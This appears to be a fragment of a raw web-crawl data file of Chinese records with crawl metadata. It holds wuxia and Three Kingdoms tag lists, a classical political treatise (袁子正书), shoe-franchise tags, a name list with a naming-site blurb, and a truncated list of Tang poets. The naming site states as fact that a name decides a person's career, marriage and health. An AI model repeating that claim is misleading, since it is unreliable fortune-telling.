司馬昭 曹休 裂馬槍 程靈素 牛郎一百零八棍 逍遙派 打狗棒法 五毒教 夏侯惇 呂玲綺 飛龍五式 海神 建安文學 黑鬼爪 狂沙刀法 玉女媚術 許褚 空城計 飄香劍雨 余滄海 陽頂天 李元霸 蝶雙飛 無崖子 絕不低頭 桃枝仙 趙半山 雌雄雙股劍 金庸 霓裳仙舞 周瑜 炎元真氣 齊桓公 駱冰 玄鐵重劍 夏侯霸 刀劍雙殺七七四十九式 鐵騎快劍 韓小瑩 武林外史 文醜 太清元功 流雲飛袖 張飛 孫皓暴政 賈詡 二宮之爭 成昆 奇功絕藝榜 曹純 吸星大法 諸葛誕 化骨綿掌 內家橫練 沙影二十八劍 段正明 嫁衣神功 周倉 下邳之戰 如意八打 射鵰三部曲 掃地僧 蒼穹十三劍 就地十八滾 合淝之戰 樊城之戰 枯榮大師 滿寵 沖虛道長 田伯光 孫權 李秋水 飛燕七式 鐵蒺藜骨朵 黃鍾公 丈八蛇矛 破蓮八著 德川家康 織女劍法 十二都天神功 馬大元 龍吟曲 壽春馳援 典韋 韋春花 流星蝴蝶劍 曹洪 大圓滿杖法 尋秦記 五毒神功 碧落紅塵 桃實仙 五行劍法 左冷禪 蔡文姬 飛伏一百零八槍 孫權建國 林遠圖 殘金缺玉 倚天劍 江夏戰神 鍾會 蔣琬 寧中則 汪劍通 赤壁之戰 雙兒 合淝新城之戰 玄鐵劍法 雪山飛狐 張苞 龐統 奕劍術 飛狐外傳 張三丰 東興之戰 楊康 塌上策 少林神拳 絕代雙驕角色列表 小鷹爪功 先天功 聖火令 丁璫 男人見不得 荀攸 萬物波動心法 楊修 任盈盈 桃葉仙 益州之戰 晉滅吳之戰 馬忠 玉女素心劍法 傻姑 變天擊地大法 鰲拜 張角 董卓討伐戰 覆雨劍法 鐵脊蛇矛 三十六招鳥啄擊法 于萬亭 大地飛鷹 魔心連環 丁奉 馬超 吳質 董卓 王異 五嶽劍派 劍罡同流 天外流星 金錢幫 降龍十八掌 司馬昭弒君 劉備稱帝 馬岱 死眷術 陸無雙 莫大先生 夏侯嬰 湘妃劍 曹丕伐吳 華山派 破精自絕大法 黃藥師 郭解 劍毒梅香 穿雲劍法 楚留香傳奇 神君別傳 桃花仙 燕子三抄水 定閒師太 鬼王鞭 水笙 石田三成 失魂引 屠龍刀 阿紫 左手刀法 捨身大法 吳起 朱然 伏養氣功 五虎斷門刀 段譽 一休 幽灵山庄 五帝鐧 范遙 張無忌 古墓派 滿天花雨 童子功十三太保橫練 龜息功 九韶定音劍 曾柔 張召重 多情劍客無情劍 護花鈴 壽春三叛 硃砂掌 青龍偃月刀 夏侯淵 儀琳 高平陵之變 九玄大法 陳家洛 徐盛 合肥之戰 無塵道長 陳到 擒拿截脈法 游坦之 道心種魔大法 周泰 張春華 臥龍 連體心法 黑白子 余魚同 無想十法 炎陽奇功 白世鏡 飛鷹十三刺 方天畫戟 鍾靈 令狐沖 張三李四 孤星傳 白萬劍 烏金血劍 阿朱 大人物 郭芙 袁紫衣 白玉老虎 九轉還童 一燈大師 司馬師 菩提心功 沉沙劍法 徐庶 天魔手七十二式 七傷拳 凝真九變 大唐雙龍傳 梁羽生 章進 暴雨梨花釘 鍾繇 金丹大法 魅變術 陳近南 郭靖 永安之戰 小喬 張翼 淑女劍 司馬懿 七禽身法 曹爽專權 燎原百擊 江南七怪 曹操 大拍手 張郃 阿青 獨孤九劍 黯然銷魂掌 郭馬之亂 貝海石 天山童姥 劉禪 達爾巴 徐榮 劍玄錄 移玉大法 降龍伏虎羅漢拳 長平公主 嵩山十三太保 九字真言手印 白狼山之戰 古龍 大手印 恆山派 君子劍 瑛姑 群狐 三尸腦神丹 太史慈 上官鼎 歸魂十八爪 曹真 衡山派 福康安 紫氣天羅 郭淮 岳靈珊 尹克西 摩尼教 朱子柳 楊逍 馮錫范 公孫綠萼 九品中正制 青龍會 辟邪劍法 戚芳 韓當 楊成協 藍鳳凰 玉女劍法 武三通 戰神圖錄 曹丕篡漢 魯肅 凌波微步 神龍教 地煞拳 周芷若 吳六奇 街亭 迎風一刀斬 呂布 吳三桂 徐晃 銅錘 橫煉罡 東方不敗 楊過 陸抗 不碎金剛 全真七子 日月神教 于禁 血海飄香 陸小鳳傳奇 阿九 第六天魔王 九陽神功 韋小寶 甘寧 天涯明月刀 文鴦 孫皓 貂蟬 甄姬 情人箭 鴛鴦刀 華陀針 北冥神功 虛竹 夏姬 子貴母死 天魔大法 康敏 碧血劍 東洋神風刀法 無相神功 曹睿 曹操迎天子 胡昭 鄧艾 徐天宏 狼牙 勞德諾 一串鞭 鴛鴦腿 桃幹仙 折花百式 古龍作品 鳥渡術 圓月彎刀 常赫志 方怡 常伯志 幻魔身法 石清 大開碑手 程普 大武俠時代 梅花鉤 燕子雙飛 覆雨翻雲 彈指神通 慈航劍典 大旗英雄傳 楊儀 孫曉 紅花會 袁承志 丐幫 樂進","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.herostory.tw\/alltags","date":"2021-01-26T16:20:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704800238.80\/warc\/CC-MAIN-20210126135838-20210126165838-00520.warc.gz","language":"lzh","language_score":0.5900534987,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900534987449646, \"nan_Hani_score\": 0.25269871950149536, \"cmn_Hani_score\": 0.12174981832504272, \"yue_Hani_score\": 0.03296077996492386}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"袁子正书 袁淮\n群书治要卷五十\n礼 政\n治国之大体有四。一曰仁义。二曰礼制。三曰法令。四曰刑罚。四本者具。则帝王之功立矣。所谓仁者。爱人者也。爱人。父母之行也。为民父母。故能兴天下之利也。所谓义者。能辨物理者也。物得理。故能除天下之害也。兴利除害者。则贤人之业也。夫仁义礼制者。治之本也。法令刑罚者。治之末也。无本者不立。无末者不成。夫礼教之治。先之以仁义。示之以敬让。使民迁善。日用而不知也。儒者见其如此。因谓治国不须刑法。不知刑法承其下。而后仁义兴于上也。法令者赏善禁淫。居治之要会。商韩见其如此。因曰治国不待仁义。不知仁义为之体。故法令行于下也。是故导之以德。齐之以礼。则民有耻。导之以政。齐之以刑。则民苟免。是治之贵贱者也。先仁而后法。先教而后刑。是治之先后者也。\n夫远物难明而近理易知。故礼让缓而刑罚急。是治之缓急也。夫仁者使人有德。不能使人知禁。礼者使人知禁。不能使人必仁。故本之者仁。明之者礼也。必行之者刑罚也。先王为礼以达人之性。理刑以承礼之所不足。故以仁义为不足以治者。不知人性者也。是故失教。失教者无本也。以刑法为不可用者。是不知情伪者也。是故失威。失威者不禁也。故有刑法而无仁义。久则民忽。民忽则怒也。有仁义而无刑法。则民慢。民慢则奸起也。故曰。本之以仁。成之以法。使两通而无偏重。则治之至也。夫仁义虽弱而持久。刑杀虽强而速亡。自然之治也。\n经 国\n先王之制。立爵五等。所以立蕃屏。利后嗣者也。是故国治而万世安。秦以列国之势而并天下。于是去五等之爵而置郡县。虽有亲子母弟。皆为匹夫。及其衰。一夫大呼而天下去。及至汉家。见亡秦之以孤特亡也。于是大封子弟。或连城数十。廓地千里。自关已东。皆为王国。力多而权重。故亦有七国之难。魏兴。以新承大乱之后。民人损减。不可则以古治。于是封建侯王。皆使寄地。空民而无其实。王国使有老兵百余人以衞其国。虽有王侯之号。而力侪于匹夫。县隔千里之外。无朝聘之仪。邻国无会同之制。诸侯游猎。不得过三十里。又为设防辅监国之官以司察之。王侯皆思为布衣不能得。既违宗国蕃屏之义。又亏亲戚骨肉之恩。\n昔武王既克殷。下车而封子弟同姓之国五十余。然亦卜世三十。卜年七百。至乎王赧之后。海内无主。三十余年。故诸侯之治。则辅车相持。翼戴天子。以礼征伐。虽有乱君暴主。若吴楚之君者。不过恣睢其国。恶能为天下害乎。周以千乘之赋封诸侯。今也曾无一城之田。何周室之奢泰而今日之俭少也。岂古今之道不同。而今日之势然哉。未之思耳。夫物莫不有弊。圣人者岂能无衰。能审终始之道。取其长者而已。今虽不能尽建五等。犹宜封诸亲戚。使少有土地。制朝聘会同之义。以合亲戚之恩。讲礼以明其职业。黜陟以讨其不然。如是则国有常守。兵有常强。保世延祚。长久而有家矣。\n设 官\n古者三公论王职。六卿典事业。事大者官大。事小者官小。今三公之官。或无事。或职小。又有贵重之官。无治事之实。此官虚设者也。秦汉置丞相九卿之官。以治万机。其后天子不能与公卿造事。外之而置尚书。又外之而置中书。转相重累。稍执机事。制百官之本。公卿之职遂轻。则失体矣。又有兵士而封侯者。古之尊贵者。以职大故贵。今列侯无事。未有无职而空贵者也。世衰礼废。五等散亡。故有赐爵封侯之赏。既公且侯。失其制。今有卿相之才。居三公之位。修其治(治疑法)。政以安宁。国家未必封侯也。而今军政之法。斩一牙门将者封侯。夫斩一将之功。孰与安宁天下也。安宁天下者不爵。斩一将之功者封侯。失封赏之意矣。夫离古意制。外内不壹。小大错贸。转相重累。是以人执异端。窥欲无极。此治道之所患也。先王置官。各有分职。使各以其属。达之于王。自己职事。则是非精练。百官奏(奏上下似脱字)则下情不塞。先王之道也。\n政 略\n夫有不急之官。则有不急之禄。国之蛑贼也。明主设官。使人当于事。人当于事。则吏少而民多。民多则归农者众。吏少则所奉者寡。使吏禄厚则养足(养足下似脱养足二字)。则无求于民。无求于民。奸轨息矣。禄足以代耕。则壹心于职。壹心于职则政理。政理则民不扰。民不扰则不乱其农矣。养生有制。送终有度。嫁娶宴享。皆有分节。衣服食味。皆有品袠。明设其礼而严其禁。如是则国无违法之民。财无无用之费矣。此富民之大略也。\n非先王之法行不得行。非先王之法言不得道。名不可以虚求。贵不可以伪得。有天下坦然知所去就矣。本行而不本名。责义而不责功。行莫大于孝敬。义莫大于忠信。则天下之人知所以措身矣。此教之大略也。夫礼设则民贵行。分明则事不错。民贵行则所治寡。事不错则下静壹。此富民致治之道也。礼重而刑轻则士劝。爱施而罚必则民服。士劝则忠信之人至。民服则犯法者寡。德全则教诚。教诚则感神。行深则着厚。着厚则流远。尚义则同利者相覆。尚法则贵公者相刻。相刻则无亲。相覆则无疏。措礼则政平。政平则民诚。设术则政险。政险则民伪。此礼义法术之情也。\n论 兵\n夫为政失道。可思而更也。兵者。存亡之机。一死不可复生也。故曰。天下难事在于兵。今有人于此。力举重鼎。气盖三军。一怒而三军之士皆震。世俗见若人者。谓之能用兵矣。然以吾观之。此亡国之兵也。夫有气者。志先其谋。无策而径往。怒心一奋。天下若无人焉。不量其力。而轻天下之物。偏遇可以幸胜。有数者御之。则必死矣。凡用兵正体不备。不可以全胜。故善用兵者。我谓之死。则民尽死。我谓之生。则民尽生。我使之勇。则民尽勇。我使之怯。则民尽怯。能死而不能生。能勇而不能怯。此兵之半。非全胜者也。\n夫用战有四。有大体者难与持久。有威刑者难与争险。善柔者待之以重。善任势者御之以坚。用兵能使民坚重者。则可与之赴汤火。可与之避患难。进不可诡。退不可追。所在而民安。尽(尽疑画误)地而守固。疑间不能入。权谲不能设也。坚重者。备物者也。备物者无偏形。无偏形故其变无不之也。故礼与法。首尾也。文与武。本末。故礼正而后法明。文用而后武法。故用兵不知先为政。则亡国之兵也。\n用人有四。一曰以功业期之。二曰与天下同利。三曰乐人之胜己。四曰因才而处任。以功业期之。则人尽其能。与天下同利。则民乐其业。乐人胜己。则下无隐情。因才择任。则众物备举。人各有能有不能也。是以智者不以一能求众善。不以一过掩众美。不遗小类。不弃小力。故能有为也。夫治天下者。其所以行之在一。一者何也。曰公而已矣。故公者。所以攻天下之邪。屏谗慝之萌。兵者倾危之物。死生之机。一物不至。则众乱兴矣。故以仁聚天下之心。以公塞天下之隙。心公而隙塞。则民专而可用矣。公心明故贤才至。一公则万事通。一私则万事闭。兵者死生之机也。是故贵公。\n王子主失\n有王子者。着主失之书。子张甚善之。为袁子称之曰。夫人之所以贵于大人者。非为其官爵也。以其言忠信。行笃敬。人主授之不虚。人臣受之不妄也。若居其位不论其能。赏其身不议其功。则私门之路通。而公正之道塞矣。凡世之所患。非患人主之有过失也。患有过欲改而不能得也。是何也。夫奸臣之事君。固欲苟悦其心。夫物未尝无似象。似象之言。漫润之谀(漫恐当作浸。谀恐当作谮)。非明者不能察也。奸臣因以似象之言而为之容说。人主不能别也。是而悦之。惑乱其心。举动日缪。而常自以为得道。此有国之常患也。夫佞邪之言。柔顺而有文。忠正之言。简直而多逆。使忠臣之言是也。人主固弗快之矣。今奸臣之言已揜于人主。不自以为非。忠臣以逆迕之言说之。人主方以为诬妄。何其言之见听哉。是以大者刳腹。小者见奴。忠臣涉危死而言不见听。奸臣飨荣利而言见悦。则天下奚蹈夫危死而不用。去夫荣乐而见听哉。故有被髪而为狂。有窜伏于窟穴。此古今之常也。\n凡奸臣者。好为难成之事。以徼幸成功之利。而能先得人主之心。上之人不能审察而悦其巧言。则见其赏而不见其罚矣。为人臣有礼未必尊。无礼未必卑。则奸臣知所以事主矣。虽有今日之失。必知明日所以复之涂也。故人主赏罚一不当。则邪人为巧滋生。其为奸滋甚。知者虽见其非而不敢言。为将不用也。夫先王之道。远而难明。当世之法。近而易知。凡人莫不违其疏而从其亲。见其小而暗其大。今贤者固远主矣。而执远而难明之物。奸人固近主矣。而执近而易知之理。则忠正之言奚时而得达哉。故主蔽于上。奸成于下。国亡而家破。伍子胥为吴破楚。令阖闾霸。及夫差立。鸱夷而浮之江。乐毅为燕王破强齐。报大耻。及惠王立。而驱逐之。夫二子之于国家。可谓有功矣。夫差。惠王足以知之矣。然犹不免于危死者。人主不能常明。而忠邪之道异故也。又况于草茅孤远之臣。而无二子之功。涉奸邪之门。经倾险之涂。欲其身达。不亦难哉。今人虽有子产之贤。而无子皮之举。有解狐之德。而无祁奚之直。亦何由得达而进用哉。故有祁奚之直而无宣子之听。有子皮之贤而无当国之权。则虽荆山之璞。犹且见瓦耳。故有管仲之贤。有鲍叔之友。必遇桓公而后达。有陈平之智。有无知之友。必遇高祖而后听。桓公。高祖不可遇。虽有二子之才。夫奚得用哉。\n厚 德\n恃门户之闭以禁盗者。不如明其刑也。明其刑不如厚其德也。故有教禁。有刑禁。有物禁。圣人者兼而用之。故民知耻而无过行也。不能止民恶心。而欲以刀锯禁其外。虽日刑人于市。不能制也。明者知制之在于本。故退而修德。为男女之礼。妃匹之合。则不淫矣。为廉耻之教。知足之分。则不盗矣。以贤制爵。令(旧令作有。改之)民德厚矣。故圣人贵恒。恒者德之固也。圣人久于其道而天下化成。未有不恒而可以成德。无德而可以持久者也。\n用 贤\n治国有四。一曰尚德。二曰考能。三曰赏功。四曰罚罪。四者明则国治矣。夫论士不以其德而以其旧。考能不以其才而以其久。而求下之贵上。不可得也。赏可以势求。罚可以力避。而求下之无奸。不可得也。为官长非苟相君也。治天下也。用贤非以役之。尚德也。行之以公。故天下归之。\n故明王之使人有五。一曰以大体期之。二曰要其成功。三曰忠信不疑。四曰至公无私。五曰与天下同忧。以大体期之。则臣自重。要其成功。则臣勤惧。忠信不疑。则臣尽节。至公无私。则臣尽情。与天下同忧。则臣尽死。夫唯信而后可以使人。昔者。齐威王使章子将而伐魏。人言其反者三。威王不应也。自是之后。为齐将者无有自疑之心。是以兵强于终始也。唯君子为能信。一不信则终身之行废矣。故君子重之。汉高祖。山东之匹夫也。无有咫尺之土。十室之聚。能任天下之智力。举大体而不苛。故王天下。莫之能御也。项籍。楚之世将。有重于民。横行天下。然而卒死东城者。何也。有一范增不能用。意忌多疑。不信大臣故也。宽则得众用。贤则多功。信则人归之。\n悦 近\n孔子曰。为上不宽。吾何以观之。苛政甚于猛虎。诗人疾掊克在位。是以圣人体德居简。而以虚受人。夫有德则谦。谦则能让。虚则宽。宽则爱物。世俗以公刻为能。以苛察为明。以忌讳为深。三物具。则国危矣。故礼法欲其简。禁令欲其约。事业欲其希。简则易明。约则易从。希则有功。此圣贤之务也。\n汉高祖。山东之匹夫也。起兵之日。天下英贤奔走而归之。贤士辐凑而乐为之用。是以王天下而莫之能御。唯其以简节宽大。受天下之物故也。是故宽则得众。虚则受物。信则不疑。不忌讳则下情达而人心安。夫高祖非能举必当也。唯以其心旷。故人不疑。况乎以至公处物而以聪明治人乎。\n尧先亲九族。文王刑于寡妻。物莫不由内及外。由大信而结。由易简而上安。由仁厚而下亲。今诸侯王国之制。无一成之田。一旅之众。独坐空宫之中。民莫见其面。其所以防御之备。甚于仇雠。内无公族之辅。外无藩屏之援。是以兄弟无睦亲之教。百姓无光明之德。弊薄之俗兴。忠厚之礼衰。近者不亲。远者不附。人主孤立于上。而本根无庇荫之助。此天下之大患也。圣人者以仁义为本。以大信持之。根深而基厚。故风雨不愆伏也。\n贵 公\n治国之道万端。所以行之在一。一者何。曰。公而已矣。唯公心而后可以有国。唯公心可以有家。唯公心可以有身。身也者。为国之本也。公也者。为身之本也。夫私。人之所欲。而治之所甚恶也。欲为国者一。不欲为国者万。凡有国而以私临之。则国分为万矣。故立天子所以治天下也。置三公所以佐其王也。观事故而立制。瞻民心而立法。制不可以轻重。较重即颇邪。法不可以私倚。私倚即奸起。古之人有当市繁之时而窃人金者。人问其故。曰。吾徒见金。不见人也。故其爱者必有大迷。宋人有子甚丑。而以胜曾上之美。故心倚于私者。即所知少也。乱于色者。即目不别精粗。沉于声者。则耳不别清浊。偏于受(受当作爱)者。即心不别是非。是以圣人节欲去私。故能与物无尤。与人无争也。明主知其然也。虽有天下之大。四海之富。而不敢私其亲。故百姓超然背私而向公。公道行。即邪利无所隐矣。向公即百姓之所道者一。向私即百姓之所道者万。一向公则明不劳而奸自息。一向私则繁刑罚而奸不禁。故公之为道。言甚约而用之甚博。\n治 乱\n治国之要有三。一曰食。二曰兵。三曰信。三者国之急务。存亡之机。明主之所重也。民之所恶者莫如死。岂独百姓之心然。虽尧舜亦然。民困衣食。将死亡。而望其奉法从教。不可得也。夫唯君子而后能固穷。故有国而不务食。是责天下之人而为君子之行也。伯夷饿死于首阳之山。伤性也。管仲分财自取多。伤义也。夫有伯夷之节。故可以不食而死。有管仲之才。故可以不让而取。然死不如生。争不如让。故有民而国贫者。则君子伤道。小人伤行矣。君子伤道则教亏。小人伤行则奸起。夫民者君之所求用也。民富则所求尽得。民贫则所求尽失。用而不得。故无强兵。求而皆失。故无兴国。明主知为国之不可以不富也。故率民于农。\n富国有八政。一曰俭以足用。二曰时以生利。三曰贵农贱商。四曰常民之业。五曰出入有度。六曰以货均财。七曰抑谈说之士。八曰塞朋党之门。夫俭则能广。时则农修。贵农则谷重。贱商则货轻。有常则民壹。有度则不散。货布则并兼塞。抑谈说之士则百姓不淫。塞朋党之门。则天下归本。知此八者。国虽小必王。不知此八者。国虽大必亡。\n凡上之所以能制其下者。以有利权也。贫者能富之之谓利。有罪者能罚之之谓权。今为国不明其威禁。使刑赏利禄。壹出于己。则国贫而家富。离上而趣下矣。夫处至贵之上。有一国之富。不可以不明其威刑而纳公实之言。此国之所以治乱也。至贵者人夺之。至富者人取之。是以明君不敢恃其尊。以道为尊。不敢恃其强。以法为强。亲道不亲人。故天下皆亲也。爱义不爱近。故万里为近也。天下同道。万里一心。是故以人治人。以国治国。以天下治天下。圣王之道也。\n凡有国者。患在壅塞。故不可以不公。患在虚巧。故不可以不实。患在诈伪。故不可以不信。三者明则国安。三者不明则国危。苟功之所在。虽疏远必赏。苟罪之所在。虽亲近必罚。辨智无所横其辞。左右无所开其说。君子卿大夫其敬惧如布衣之虑。故百姓蹈法而无徼幸之心。君制而臣从。令行而禁止。壅塞之路闭。而人主安太山矣。\n夫礼者所以正君子也。法者所以治小人也。治在于君子。功在于小人。故为国而不以礼。则君子不让。制民而不以法。则小人不惧。君子不让。则治不立。小人不惧。则功不成。是以圣人之法。使贵贱不同礼。贤愚不同法。毁法者诛。有罪者罚。爵位以其才行。不计本末。刑赏以其功过。不计轻重。言必出于公实。行必落于法理。是以百姓乐义。不敢为非也。太上。使民知道。其次。使民知心。其下。使民不得为非。使民知道者。德也。使民知心者。义也。使民不得为非者。威禁也。威禁者。赏必行。刑必断之谓也。此三道者。治天下之具也。欲王而王。欲霸而霸。欲强而强。在人主所志也。\n损 益\n夫服物不称。则贵贱无等。于是富者逾侈。贫者不及。小人乘君子之器。贾竖袭卿士之服。被文绣。佩银黄。重门而玉食其中。左右叱咄。颐指而使。是故有财者光荣。无财者卑辱。上接卿相。下雄齐民。珍宝旁流。而刑放于贿。下而法侵。能无亏乎。\n世 治\n天地之道贵大。圣人之道贵宽。无分寸之曲。至直也。以是绳之。则工不足于材矣。无纤分之短。至善也。以是规之。则人主不足于人矣。故凡用人者。不求备于一人。桓公之于宁戚也。知之矣。夫有近会者无远期。今之为法曰。选举之官。不得见人。曰以绝奸私也。夫处深宫之中。而选天下之人。以为明。奚从而知之。夫交接。人之道。不可绝也。故圣人求所以治交。而不求绝交。人莫问不交。以人禁人。是以私禁私也。先王之用人不然。不论贵贱。不禁交游。以德底爵。以能底官。以功底禄。具赏罚以待其归。虽使之(之疑交)游。谁敢离道哉。\n刑 法\n礼法明则民无私虑。事业专则民无邪伪。百官具则民不要功。故有国者。为法欲其正也。事业欲其久也。百官欲其常也。天下之事。以次为爵禄。以次进士。君子以精德显。夫德有次则行修。官有次则人静。事有次则民安。农夫思其疆畔。百工思其规矩。士君子思其德行。群臣百官思其分职。上之人思其一道。侵官无所由。离业无所至。夫然。故天下之道正而民壹。\n夫变化者。圣人之事也。非常者。上智之任也。此入于权道。非贤者之所窥也。才智至明而好为异事者。乱之端也。是以圣人甚恶奇功。\n天下有可赦之心。而有可赦之罪。无可赦之心。而无可赦之罪。明王之不赦罪。非乐杀而恶生也。以为乐生之实在于此物也。夫思可赦之法。则法出入。法出入则奸邪得容其议。奸邪得容其议则法日乱。犯罪者多而私议并兴。则虽欲无赦不可已。夫数赏则贤能不劝。数赦则罪人徼幸。明主知之。故不为也。夫可赦之罪。千百之一也。得之于一而伤之于万。治道不取也。故先王知赦罪不可为也。故所俘虏壹断之于法。务求所以立法。而不求可赦之法也。\n法立令行。则民不犯法。法不立。令不行。则民多触死。故曰。能杀而后能生。能断而后仁立。国之治乱。在于定法。定法则民心定。移法则民心移。法者所以正之事者也。一出而正。再出而邪。三出而乱。法出而不正。是无法也。法正而不行。是无君也。是以明君将有行也。必先求之于心。虑先定而后书之于策。言出而不可易也。令下而不反也。如阴阳之动。如四时之行。如风雨之施。所至而化。所育而长。夫天之不可逆者时也。君之不可逆者法也。使四时而可逆。则非天也。法令而可违。是非君也。今有十人彍弩于百万之众。未有不震怖者也。夫十矢之不能杀百万人可知也。然一军皆震者。以为唯无向则已。所中必死也。明君正其礼。明其法。严其刑。持满不发。以牧万民。犯礼者死。逆法者诛。赏无不信。刑无不必。则暴乱之人莫敢试矣。故中人必死。一矢可以惧万人。有罪必诛。一刑可以禁天下。是以明君重法慎令。\n人 主\n人主莫不欲得贤而用之。而所用者不免于不肖。莫不欲得奸而除之。而所除者不免于罚贤。若是者。赏罚之不当。任使之所由也。人主之所赏。非谓其不可赏也。必以为当矣。人主之所罪。非以为不可罚也。必以为信矣。智不能见是非之理。明不能察浸润之言。所任者不必智。所用者不必忠。故有赏贤罚暴之名。而有戮能养奸之实。此天下之大患也。\n致 贤\n虽有离娄之目。不能两视而明。夔旷之耳。不能两听而聪。仲尼之智。不能两虑而察。夫以天下之至明至智。犹不能参听而具存之。而况于凡人乎。故以目虽至明。有所不知。以因。虽凡人无所不得。故善学者假先王以论道。善因者借外智以接物。故假人之目以视。奚适夫两见。假人之耳以听。奚适夫两闻。假人之智以虑。奚适夫两察。故夫处天下之大道而智不穷。兴天下之大业而虑不竭。统齐群言之类而口不劳。兼听古今之辨而志不倦者。其唯用贤乎。\n明赏罚\n夫干禄者。唯利所在。智足以取当世。而不能日月不违仁。当其用智以御世。贤者有不如也。圣人明于此道。故张仁义以开天下之门。抑情伪以塞天下之户。相赏(相赏之间。疑有脱字)罚以随之。赏足荣而罚可畏。智者知荣辱之必至。是故劝善之心生。而不轨之奸息。赏一人而天下知所从。罚一人而天下知所避。明开塞之路。使百姓晓然知轨疏(疏疑迹)之所由。是以贤者不忧。知者不惧。干禄者不邪。是故仁者安仁。智者利仁。畏罪者强仁。天下尽为仁。明法之谓。\n死者。人之所甚恶也。杀人者。仁人之所不忍也。人之于利欲。有犯死罪而为之。先王制肉刑。断人之体。彻膳去乐。谘嗟而行之者。不得已也。刑不断则不威。避亲贵则法日弊。如是则奸不禁而犯罪者多。惠施一人之身。而伤天下生也。圣人计之于利害。故行之不疑。是故刑杀者。乃爱人之心也。涕泣而行之。故天下明其仁也。虽贵重不得免。故天下知其断也。仁见故民不怨。立断下不犯。圣王之所以禁奸也。先王制为八议赦宥之差。断之以三槐九棘之听。服念五六日至于旬时。全正义也。而后断之。仁心如此之厚。故至刑可为也。","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/lingdaoli.com\/docs\/yuanzizhengshu\/","date":"2021-04-14T23:19:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038078900.34\/warc\/CC-MAIN-20210414215842-20210415005842-00102.warc.gz","language":"lzh","language_score":0.4536894262,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.45368942618370056, \"cmn_Hani_score\": 0.27696946263313293, \"nan_Hani_score\": 0.062802255153656, \"jpn_Jpan_score\": 0.033608995378017426, \"wuu_Hani_score\": 0.033366184681653976, \"zxx_Latn_score\": 0.019006744027137756, \"und_Tang_score\": 0.018010558560490608}","num_words":69,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.454,"perplexity_score":500.0,"cluster_detection":1} +{"text":"四川福連升老北京布鞋、休閑鞋品牌加盟店信息和四川鞋店加盟方法介紹。\n四川 巴中 河北 唐山 浙江 杭州 江西 新余 延安 陜西 湖南 長沙 湖州 訂貨會 廣東 河源 安康 青海 玉樹 婁底 溫州 江蘇 泰州 承德 廊坊 固安 河南 新鄉 安徽 天長","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.nikanrescorp.com\/tags.php?\/270\/","date":"2021-11-27T05:35:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358118.13\/warc\/CC-MAIN-20211127043716-20211127073716-00574.warc.gz","language":"lzh","language_score":0.8205134273,"language_script":"Hani","minhash_cluster_size":35,"top_langs":"{\"lzh_Hani_score\": 0.8205134272575378, \"cmn_Hani_score\": 0.10544630140066147, \"nan_Hani_score\": 0.06486836820840836}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.821,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王祉文 王志芳 王志红 王志娟 王志莉 王志梅 王志萍 王志文 王志霞 王志妍 王志艳 王志瑶 王志英 王志莹 王治文 王治霞 王智茹 王智婷 王智文 王智燕 王智颖 王智玉 王中花 王中萍 王中文 王中艳 王忠洁 王钟媛 王仲英 王仲媛 王重红 王周琴 王朱琴 王茱莉 王珠丽 王猪花 王主玉 王卓琳 王卓娜 王卓文 王卓妍 王卓莹 王仔琼 王兹玉 王姿蓉 王姿婷 王姿嫣 王姿悦 王滋琳 王滋婷 王子婵 王子娟 王子莉 王子丽 王子琼 王子冉 王子茹 王子婷 王子文 王子秀 王子嫣 王子瑶 王子怡 王子英 王子颖 王子玉 王子媛 王子悦 王梓洁 王梓丽 王梓萍 王梓倩 王梓琼 王梓蓉 王梓茹 王梓婷 王梓文 王梓嫣 王梓瑶 王梓怡 王梓瑛 王梓莹 王梓玉 王梓媛 王梓悦 王紫婵 王紫婧 王紫娜 王紫琼 王紫婷 王紫文\n古语云\"宁可生错命,不可起错名\",一个好的名字,不仅给别人印象深刻,而且还关系到人一生的事业、婚姻、健康和人际关系。名字笔画五行不要和命谱四柱五行相联系,它本身五格部象的五行相生相克是其本身独立一格的五行,与命谱五行没有联系的,无须考虑笔画五行来选名字,但名字的笔画五行在五格剖象中要五行相生,不能相克。起名网(www.rzbus.com)基于以上原则和自动生成算法,只需要输入你的姓氏可以免费为你推荐比较好的名字以及详细的命理、运程、吉凶解析。","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/www.rzbus.com\/xing\/x8_2_0_6.html","date":"2022-05-25T15:18:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662588661.65\/warc\/CC-MAIN-20220525151311-20220525181311-00581.warc.gz","language":"lzh","language_score":0.543505609,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5435056090354919, \"cmn_Hani_score\": 0.41096368432044983, \"nan_Hani_score\": 0.044725410640239716}","num_words":92,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.698,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1、唐朝所有的诗人有哪些 三画 马 戴四画 王 维 王昌龄 元 结 韦应物 王 勃 王 湾 韦 庄 元 稹 王之涣 王 建 王 翰五画 丘 为 白居易 卢 纶 司空曙六画 刘禹锡 朱庆余 刘长卿 许 浑 权德舆 西鄙人 刘方平 刘窅虚七画 张九龄 李 白 杜 甫 岑 参 陈子昂 李 颀 李商隐 杜审言 沈佺期;唐朝都有哪些著名的诗人 